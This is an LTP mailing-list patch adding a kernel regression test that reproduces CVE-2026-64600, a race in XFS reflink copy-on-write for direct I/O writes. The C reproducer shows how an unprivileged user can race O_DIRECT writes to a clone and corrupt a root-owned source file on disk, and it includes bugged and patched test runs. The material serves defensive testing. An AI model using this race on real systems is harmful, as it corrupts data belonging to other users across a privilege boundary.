[LTP] [PATCH v2] cve: reproducer for cve-2026-64600
Andrea Cervesato <[email protected]> Fri, 24 Jul 2026 14:54:24 +0200
| Newsgroups | it.linux.lists.ltp |
|---|---|
| Message-ID | <[email protected]> |
From: Andrea Cervesato <[email protected]> Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS reflink copy-on-write path for direct I/O writes. The bug was introduced in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample the data fork mapping after cycling ILOCK"). Signed-off-by: Andrea Cervesato <[email protected]> --- This reproducer has been created with the usage of Kimi K3 (as analyzer and writer) and DeepSeek v4 Flash (Max) as reviewer, by taking the RefluXFS technical paper as input: https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt On bugged kernel: tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #21 SMP PREEMPT_DYNAMIC Fri Jul 24 10:20:05 CEST 2026 x86_64 tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config' tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s cve-2026-64600.c:233: TFAIL: round 0: racing O_DIRECT write to the clone succeeded [ 1.252815] cve-2026-646 HINT: You _MAY_ be missing kernel fixes: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2f4acd0fcd86 HINT: You _MAY_ be vulnerable to CVE(s): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64600 Summary: passed 0 failed 1 broken 0 skipped 0 warnings 0 On patched kernel: tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #20 SMP PREEMPT_DYNAMIC Fri Jul 24 10:08:53 CEST 2026 x86_64 tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config' tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s [ 1.665909] clocksource: Watchdog remote CPU 2 read timed out [ 8.099229] cve-2026-64600 (249) used greatest stack depth: 12216 bytes left cve-2026-64600.c:242: TPASS: Source file survived racing O_DIRECT writers Summary: passed 1 failed 0 broken 0 skipped 0 warnings 0 --- Changes in v2: - rename refluxfs.c - ensure reflink=1 for mkfs.xfs - remove root restore - Link to v1: https://lore.kernel.org/[email protected] --- runtest/cve | 1 + testcases/cve/.gitignore | 1 + testcases/cve/Makefile | 2 +- testcases/cve/refluxfs.c | 274 +++++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 277 insertions(+), 1 deletion(-) diff --git a/runtest/cve b/runtest/cve index 3bbcfd6a2f2fb204fc6ae4ba89b5a7554c2fcbc5..d1b855d61af3c7fd046ce3c748a151346d679350 100644 --- a/runtest/cve +++ b/runtest/cve @@ -100,3 +100,4 @@ cve-2026-43494 io_uring04 cve-2026-46300 xfrm02 cve-2026-46300-skb-segment xfrm03 cve-2026-46331 cve-2026-46331 +cve-2026-64600 refluxfs diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore index bc1af0dd2c8086e4f5f78a3b15b91fafbd8f5936..5aa038cd5871424967035b39bd3945a038ad13b8 100644 --- a/testcases/cve/.gitignore +++ b/testcases/cve/.gitignore @@ -16,3 +16,4 @@ tcindex01 cve-2025-38236 cve-2025-21756 cve-2026-46331 +refluxfs diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile index 98c38e90801a21eedad986273d537b16f3e4eb91..6be4999a3ea256cf48520c877400dfca19461177 100644 --- a/testcases/cve/Makefile +++ b/testcases/cve/Makefile @@ -11,7 +11,7 @@ stack_clash: CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion cve-2016-7042: LDLIBS += $(KEYUTILS_LIBS) -cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053: CFLAGS += -pthread +cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 refluxfs: CFLAGS += -pthread cve-2014-0196 cve-2016-7117 cve-2017-2671: LDLIBS += -lrt ifneq ($(ANDROID),1) diff --git a/testcases/cve/refluxfs.c b/testcases/cve/refluxfs.c new file mode 100644 index 0000000000000000000000000000000000000000..bfb85bfb0a49d524b74646040ae3ce7b7d05f5ab --- /dev/null +++ b/testcases/cve/refluxfs.c @@ -0,0 +1,274 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <[email protected]> + */ + +/*\ + * Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS + * reflink copy-on-write path for direct I/O writes. The bug was introduced + * in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW + * blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample + * the data fork mapping after cycling ILOCK"). + * + * When an :manpage:`ioctl(2)` FICLONE clone is written via ``O_DIRECT``, + * ``xfs_direct_write_iomap_begin()`` samples the clone's data-fork mapping + * under ILOCK and calls ``xfs_reflink_allocate_cow()``, which drops the + * ILOCK to allocate a transaction and then re-checks whether the *stale* + * physical block is still shared. If a second racing ``O_DIRECT`` writer + * completes a full copy-on-write cycle inside that lock-drop window, the + * old shared block's refcount drops to one, the first writer takes the + * "not shared, write in place" branch, and its write is submitted to the + * physical block that now belongs only to the reflink source file, + * corrupting it on disk. + * + * [Algorithm] + * + * - Create a root-owned target file on a reflink-enabled XFS and fill + * its first block with a known pattern + * - Drop privileges to the unprivileged user ``nobody`` + * - Positive control: a single ``O_DIRECT`` write to a fresh clone must + * be copy-on-written and leave the target untouched + * - Each round: reflink-clone the target into a scratch clone file and + * release a barrier of threads, each issuing one block-sized + * ``O_DIRECT`` :manpage:`pwrite(2)` at offset 0 of the clone + * - Background threads loop on write/fdatasync/truncate cycles to stall + * transaction allocation on log space and widen the lock-drop window + * - After each round, read back the target's first block bypassing the + * page cache (``O_DIRECT``): any byte differing from the original + * pattern means a racing write refluxed into the source file and the + * kernel is vulnerable + * + * Root privilege is regained in cleanup() so the library can unmount + * the loop device. + */ + +#include <pwd.h> + +#include "tst_test.h" +#include "tst_safe_pthread.h" +#include "tst_safe_prw.h" +#include "lapi/ficlone.h" + +#define MNTPOINT "mnt" +#define WORKDIR MNTPOINT "/work" +#define TARGET WORKDIR "/target" +#define CLONE WORKDIR "/clone" +#define SCRATCH_FMT WORKDIR "/scratch%d" + +#define BLKSIZE 4096 +#define NWRITERS 32 +#define NPRESSURE 16 +#define MAX_ROUNDS 5000 + +static char *tbuf, *wbuf, *rbuf; + +static int target_fd = -1; +static int target_dio_fd = -1; +static int clone_fd = -1; + +static pthread_t writers[NWRITERS]; +static pthread_t pressure_threads[NPRESSURE]; +static pthread_barrier_t barrier; +static int barrier_initialized; +static volatile sig_atomic_t stop_pressure; +static int pressure_running; + +static void *writer_fn(void *arg) +{ + int fd; + + (void)arg; + + fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT); + + SAFE_PTHREAD_BARRIER_WAIT(&barrier); + + SAFE_PWRITE(1, fd, wbuf, BLKSIZE, 0); + SAFE_CLOSE(fd); + + return NULL; +} + +static void *pressure_fn(void *arg) +{ + char path[PATH_MAX]; + int fd; + + snprintf(path, sizeof(path), SCRATCH_FMT, (int)(long)arg); + + fd = SAFE_OPEN(path, O_RDWR | O_CREAT | O_TRUNC, 0600); + + while (!stop_pressure) { + SAFE_PWRITE(1, fd, wbuf, BLKSIZE, 0); + SAFE_FTRUNCATE(fd, 0); + SAFE_FSYNC(fd); + } + + SAFE_CLOSE(fd); + + return NULL; +} + +static void stop_pressure_threads(void) +{ + if (!pressure_running) + return; + + stop_pressure = 1; + + for (int i = 0; i < NPRESSURE; i++) + SAFE_PTHREAD_JOIN(pressure_threads[i], NULL); + + pressure_running = 0; +} + +static void drop_privileges(void) +{ + struct passwd *pw; + + pw = SAFE_GETPWNAM("nobody"); + SAFE_SETEGID(pw->pw_gid); + SAFE_SETEUID(pw->pw_uid); +} + +static void setup(void) +{ + int probe_fd, probe_dio_fd; + + tbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE); + wbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE); + rbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE); + + memset(tbuf, 'A', BLKSIZE); + memset(wbuf, 'X', BLKSIZE); + memset(rbuf, 0, BLKSIZE); + + SAFE_MKDIR(WORKDIR, 0700); + SAFE_CHMOD(WORKDIR, 0777); + + target_fd = SAFE_OPEN(TARGET, O_RDWR | O_CREAT | O_TRUNC, 0644); + SAFE_WRITE(1, target_fd, tbuf, BLKSIZE); + SAFE_FSYNC(target_fd); + SAFE_CLOSE(target_fd); + + drop_privileges(); + + target_fd = SAFE_OPEN(TARGET, O_RDONLY); + probe_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600); + + TEST(ioctl(probe_fd, FICLONE, target_fd)); + if (TST_RET == -1) { + if (TST_ERR == EOPNOTSUPP || TST_ERR == EINVAL || TST_ERR == ENOSYS) { + tst_brk(TCONF, "reflink clones not supported: %s", + tst_strerrno(TST_ERR)); + } + + tst_brk(TBROK | TTERRNO, "ioctl(FICLONE) failed"); + } + + probe_dio_fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT); + SAFE_PWRITE(1, probe_dio_fd, wbuf, BLKSIZE, 0); + SAFE_CLOSE(probe_dio_fd); + SAFE_CLOSE(probe_fd); + + /* The racy write bypasses the target's page cache, so must the read */ + target_dio_fd = SAFE_OPEN(TARGET, O_RDONLY | O_DIRECT); + + SAFE_PREAD(1, target_dio_fd, rbuf, BLKSIZE, 0); + if (memcmp(rbuf, tbuf, BLKSIZE)) + tst_brk(TBROK, "Source file modified by a single O_DIRECT write to the clone"); + + SAFE_PTHREAD_BARRIER_INIT(&barrier, NULL, NWRITERS + 1); + barrier_initialized = 1; +} + +static void run(void) +{ + int i, round, corrupted = 0; + + stop_pressure = 0; + + for (i = 0; i < NPRESSURE; i++) + SAFE_PTHREAD_CREATE(&pressure_threads[i], NULL, pressure_fn, + (void *)(long)i); + pressure_running = 1; + + for (round = 0; round < MAX_ROUNDS; round++) { + clone_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600); + + /* + * target_fd is O_RDONLY opened as "nobody". FICLONE + * checks inode permission against our effective UID. + */ + SAFE_IOCTL(clone_fd, FICLONE, target_fd); + SAFE_CLOSE(clone_fd); + + for (i = 0; i < NWRITERS; i++) + SAFE_PTHREAD_CREATE(&writers[i], NULL, writer_fn, NULL); + + SAFE_PTHREAD_BARRIER_WAIT(&barrier); + + for (i = 0; i < NWRITERS; i++) + SAFE_PTHREAD_JOIN(writers[i], NULL); + + SAFE_PREAD(1, target_dio_fd, rbuf, BLKSIZE, 0); + + if (memcmp(rbuf, tbuf, BLKSIZE)) { + tst_res(TFAIL, "round %d: racing O_DIRECT write to the clone succeeded", round); + corrupted = 1; + break; + } + } + + stop_pressure_threads(); + + if (!corrupted) + tst_res(TPASS, "Source file survived racing O_DIRECT writers"); +} + +static void cleanup(void) +{ + stop_pressure_threads(); + + if (barrier_initialized) + SAFE_PTHREAD_BARRIER_DESTROY(&barrier); + + if (target_dio_fd != -1) + SAFE_CLOSE(target_dio_fd); + + if (target_fd != -1) + SAFE_CLOSE(target_fd); + + if (clone_fd != -1) + SAFE_CLOSE(clone_fd); + + free(tbuf); + free(wbuf); + free(rbuf); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNTPOINT, + .filesystems = (struct tst_fs []) { + { + .type = "xfs", + .min_kver = "4.16", + .mkfs_ver = "mkfs.xfs >= 1.5.0", + .mkfs_opts = (const char *const []) { + "-m", "reflink=1", + NULL + }, + }, + {} + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "2f4acd0fcd86"}, + {"CVE", "2026-64600"}, + {} + }, +}; --- base-commit: d12a6186b60491cfa72e10944bd312e75b684c5e change-id: 20260724-cve-2026-64600-53fd6d627d63 Best regards, -- Andrea Cervesato <[email protected]> -- Mailing list info: https://lists.linux.it/listinfo/ltp